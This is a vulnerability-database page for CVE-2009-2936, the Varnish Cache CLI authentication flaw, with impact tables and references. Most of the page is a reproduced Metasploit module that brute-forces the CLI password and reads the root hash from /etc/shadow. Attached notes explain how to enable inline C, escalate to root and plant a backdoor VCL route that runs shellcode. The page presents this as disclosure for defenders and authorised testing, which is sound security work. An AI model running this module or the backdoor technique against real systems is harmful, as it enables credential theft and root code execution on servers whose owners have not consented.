CVE-2009-2936
Description
The Command Line Interface (aka Server CLI or administration interface) in the master process in the reverse proxy server in Varnish before 2.1.0 does not require authentication for commands received through a TCP port, which allows remote attackers to (1) execute arbitrary code via a vcl.inline directive that provides a VCL configuration file containing inline C code; (2) change the ownership of the master process via param.set, stop, and start directives; (3) read the initial line of an arbitrary file via a vcl.load directive; or (4) conduct cross-site request forgery (CSRF) attacks that leverage a victim's location on a trusted network and improper input validation of directives. NOTE: the vendor disputes this report, saying that it is "fundamentally misguided and pointless.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Varnish Cache CLI Interface - Remote Code Execution (Metasploit)
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Varnish Cache CLI Interface Bruteforce Utility',
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
list of passwords. This module will also attempt to read the /etc/shadow root password hash
if a valid password is found. It is possible to execute code as root with a valid password,
however this is not yet implemented in this module.',
'References' =>
[
[ 'OSVDB', '67670' ],
[ 'CVE', '2009-2936' ],
# General
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ],
[ 'CVE', '1999-0502'] # Weak password
],
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(6082),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") ]),
], self.class)
deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS')
end
def run_host(ip)
connect
res = sock.get_once(-1,3) # detect banner
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
vprint_status("Varnishd CLI detected - authentication required.")
each_user_pass { |user, pass|
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail.
res = sock.get_once(-1,3) # grab challenge
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
challenge = $1
secret = pass + "\n" # newline is needed
response = challenge + "\n" + secret + challenge + "\n"
response = Digest::SHA256.hexdigest(response)
sock.put("auth #{response}\n")
res = sock.get_once(-1,3)
if (res =~ /107 \d+/) # 107 auth
vprint_status("FAILED: #{secret}")
elsif (res =~ /200 \d+/) # 200 ok
print_good("GOOD: #{secret}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => ('varnishd'),
:pass => pass,
:proof => "#{res}",
:source_type => "user_supplied",
:active => true
)
sock.put("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} /etc/shadow\n") # only returns 1 line of any target file.
res = sock.get_once(-1,3)
if (res =~ /root:([\D\S]+):/) # lazy.
if ($1[0] == "!")
vprint_error("/etc/shadow root uid is disabled.\n")
else
print_good("/etc/shadow root enabled:\nroot:#{$1}:")
end
else
vprint_error("Unable to read /etc/shadow?:\n#{res}\n")
end
break
else
vprint_error("Unknown response:\n#{res}\n")
end
end
}
elsif (res =~ /Varnish Cache CLI 1.0/)
print_good("Varnishd CLI does not require authentication!")
else
vprint_error("Unknown response:\n#{res}\n")
end
disconnect
end
end
=begin
aushack notes:
- varnishd typically runs as root, forked as unpriv.
- 'param.show' lists configurable options.
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
- code execution notes:
* quotes must be escaped \"
* \n is a newline
* C{ }C denotes raw C code.
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
* example trigger for backdoor:
VCL server:
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
vcl.use foo
start
Attacker:
telnet target 80
GET /backd00r HTTP/1.1
Host: 127.0.0.1
(... wait for child to execute debug trap INT3 / shellcode).
CLI protocol notes from website:
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
Requests are whitespace separated tokens terminated by a newline (NL) character.
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
), (\"), (\%03o) and (\x%02x)
The response consists of a header which can be read as fixed format or ASCII text:
1-3 %03d Response code
4 ' ' Space
5-12 %8d Length of body
13 \n NL character.
Followed by the number of bytes announced by the header.
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
enum cli_status_e {
CLIS_SYNTAX = 100,
CLIS_UNKNOWN = 101,
CLIS_UNIMPL = 102,
CLIS_TOOFEW = 104,
CLIS_TOOMANY = 105,
CLIS_PARAM = 106,
CLIS_OK = 200,
CLIS_CANT = 300,
CLIS_COMMS = 400,
CLIS_CLOSE = 500
};
=end
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.1.0-2 |
| sid | Fixed | 2.1.0-2 |
| forky | Fixed | 2.1.0-2 |
| bullseye | Fixed | 2.1.0-2 |
| bookworm | Fixed | 2.1.0-2 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| varnish.projects.linpro | varnish | 0.9 | |
| varnish.projects.linpro | varnish | 0.9.1 | |
| varnish.projects.linpro | varnish | 1.0 | |
| varnish.projects.linpro | varnish | 1.0.1 | |
| varnish.projects.linpro | varnish | 1.0.2 | |
| varnish.projects.linpro | varnish | 1.0.3 | |
| varnish.projects.linpro | varnish | 1.0.4 | |
| varnish.projects.linpro | varnish | 1.1 | |
| varnish.projects.linpro | varnish | 1.1.1 | |
| varnish.projects.linpro | varnish | 1.1.2 | |
| varnish.projects.linpro | varnish | 2.0 | |
| varnish.projects.linpro | varnish | 2.0.1 | |
| varnish.projects.linpro | varnish | 2.0.2 | |
| varnish.projects.linpro | varnish | 2.0.3 | |
| varnish.projects.linpro | varnish | 2.0.4 | |
| varnish.projects.linpro | varnish | 2.0.5 | |
| varnish.projects.linpro | varnish | 2.0.6 | |
References
- http://lists.fedoraproject.org/pipermail/package-announce/2010-April/040359.html
- http://www.securityfocus.com/archive/1/510360/100/0/threaded
- http://www.securityfocus.com/archive/1/510368/100/0/threaded
- http://www.varnish-cache.org/changeset/3865
- http://www.varnish-cache.org/wiki/CLI
- https://security-tracker.debian.org/tracker/CVE-2009-2936
CWEs
CWE-287
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.